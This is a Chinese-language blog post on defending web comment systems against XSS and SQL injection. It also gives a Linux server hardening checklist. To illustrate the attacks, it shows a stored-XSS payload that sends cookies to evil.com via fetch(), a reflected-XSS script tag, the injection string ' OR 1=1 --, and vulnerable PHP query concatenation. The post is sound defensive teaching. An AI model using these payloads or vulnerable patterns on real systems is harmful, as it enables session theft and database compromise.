评论系统常见 XSS 与 SQL 注入问题：从攻击手法到防御实践

评论系统几乎是每个内容型网站的标配，也几乎是每个安全事件的起点。它允许匿名或低权限用户提交内容，并直接将内容展示给其他用户，同时还要把数据写进数据库。这两个特性叠加在一起，让评论系统天然成为 XSS 和 SQL 注入的高发区。本文从攻击者视角出发，梳理常见攻击方式，再给出前端防御、MySQL 安全写法以及 Linux 服务器加固的可落地清单。

一、XSS 的常见方式与前端防御

XSS（跨站脚本攻击）的本质是：用户提交的内容被当作代码在浏览器中执行。在评论系统中，这通常发生在评论内容被渲染到页面时。

1.1 常见攻击方式

存储型 XSS 是评论系统中最危险的类型。攻击者在评论框中提交带有恶意脚本的内容，比如：

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

如果后端未做过滤、前端直接使用 innerHTML 渲染，这段代码会被持久化到数据库，所有访问该页面的用户都会中招。

反射型 XSS 常见于评论搜索、分页参数等场景。例如搜索关键词直接回显到页面：

/search?q=<script>alert(1)</script>

DOM 型 XSS 则完全发生在前端。如果评论渲染逻辑中使用了 location.hash、document.referrer 等可控数据，并通过 innerHTML、eval、document.write 等方式注入 DOM，就会触发攻击。

此外还有 mXSS（突变型 XSS），利用浏览器解析 HTML 时对某些标签的重新解析特性，绕过简单的黑名单过滤。

1.2 前端防御要点

第一，优先使用文本节点而非 HTML 插入。 渲染评论时使用 textContent 或 innerText，而不是 innerHTML。如果确实需要支持部分富文本，应使用成熟的净化库，如 DOMPurify，并配置白名单标签和属性。

第二，设置内容安全策略（CSP）。 通过 HTTP 响应头限制脚本来源：

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

CSP 无法阻止所有 XSS，但能显著降低危害，尤其是阻止内联脚本执行。

第三，对 URL 参数和用户输入做编码。 在拼接 HTML 属性、URL 时，使用 encodeURIComponent 等函数进行上下文相关编码。

第四，Cookie 设置 HttpOnly 和 SameSite。 即使 XSS 发生，HttpOnly 能阻止脚本读取会话 Cookie，SameSite 能缓解 CSRF 连带风险。

需要强调的是，前端防御只是纵深防御的一层。攻击者可以绕过前端直接调用接口，因此服务端过滤和输出编码才是根本。

二、MySQL 防止 SQL 注入的几种写法

SQL 注入在评论系统中通常出现在“提交评论”“查询评论”“按条件筛选评论”等接口。攻击者通过构造 ' OR 1=1 -- 之类的输入，改变 SQL 语义，实现数据泄露、篡改甚至删除。

2.1 错误写法

$sql = "SELECT * FROM comments WHERE post_id = " . $_GET['post_id'];

或：

$sql = "SELECT * FROM comments WHERE author = '$author'";

这两种写法将用户输入直接拼进 SQL，是注入的温床。

2.2 推荐写法

使用预处理语句（Prepared Statements）。 这是最有效的方式。以 PHP PDO 为例：

$stmt = $pdo->prepare("SELECT * FROM comments WHERE post_id = ? AND status = ?");
$stmt->execute([$postId, 'approved']);

命名占位符同样安全：

$stmt = $pdo->prepare("INSERT INTO comments (post_id, author, content) VALUES (:post_id, :author, :content)");
$stmt->execute([':post_id' => $postId, ':author' => $author, ':content' => $content]);

预处理语句将 SQL 结构与数据分离，数据库不会把参数当作 SQL 代码解析。

使用参数化查询的 ORM。 如 Laravel Eloquent、Django ORM、SQLAlchemy 等，底层默认使用参数绑定。但要注意，ORM 中的原生查询方法（如 whereRaw）如果拼接字符串，同样会引入注入。

对无法参数化的部分使用白名单。 例如排序字段 ORDER BY 不能使用占位符，此时应使用白名单映射：

$allowed = ['created_at', 'likes'];
$order = in_array($_GET['order'], $allowed) ? $_GET['order'] : 'created_at';

最小权限原则。 评论系统使用的数据库账号不应拥有 DROP、FILE、GRANT 等权限，只授予必要的 SELECT、INSERT、UPDATE、DELETE。

关闭详细错误回显。 生产环境不要将 SQL 错误信息返回给用户，避免泄露表结构。

三、Linux 服务器安全加固清单

即使应用层做了防御，服务器层面的加固仍是最后一道防线。以下清单适用于运行评论系统的 Web 服务器。

账户与权限

• 禁用 root 远程 SSH 登录，使用普通用户 + sudo
• 为 Web 服务创建独立系统用户，禁止其登录 shell
• 定期清理无用账户和过期密钥

SSH 加固

• 修改默认 22 端口，或使用防火墙限制来源 IP
• 禁用密码登录，仅允许密钥认证
• 安装 fail2ban，自动封禁暴力破解 IP

防火墙与网络

• 使用 ufw 或 firewalld，仅开放 80、443 和受限的 SSH 端口
• 数据库（MySQL 3306）只监听 127.0.0.1，不对外暴露
• 如使用云服务，配置安全组做二次限制

系统与软件更新

• 开启自动安全更新，或定期执行 apt upgrade / yum update
• 关注 Web 服务器、PHP、MySQL 的安全公告，及时打补丁

服务与日志

• 关闭不必要的服务（如 FTP、Telnet）
• 配置日志轮转，保留至少 30 天访问日志和错误日志
• 使用 logwatch 或类似工具定期审查异常登录和请求

文件与目录

• Web 根目录禁止执行上传目录中的脚本
• 设置合理的文件权限：目录 755，文件 644，敏感配置文件 600
• 使用 open_basedir 限制 PHP 可访问目录

备份与监控

• 数据库每日自动备份，并验证可恢复性
• 部署入侵检测工具，如 AIDE 做文件完整性校验
• 监控异常进程、异常外连和 CPU 突增

结语

评论系统的安全不是单一环节的问题，而是从前端渲染、后端查询到服务器配置的完整链条。XSS 防御的核心是“永远不要信任用户输入，输出时按上下文编码”；SQL 注入防御的核心是“让数据永远只是数据”；服务器加固的核心是“最小权限 + 持续更新 + 可观测”。三者结合，才能让评论系统在开放交互的同时保持足够的安全水位。

未经允许不得转载：任鹏个人博客 » 评论系统常见 XSS 与 SQL 注入问题：从攻击手法到防御实践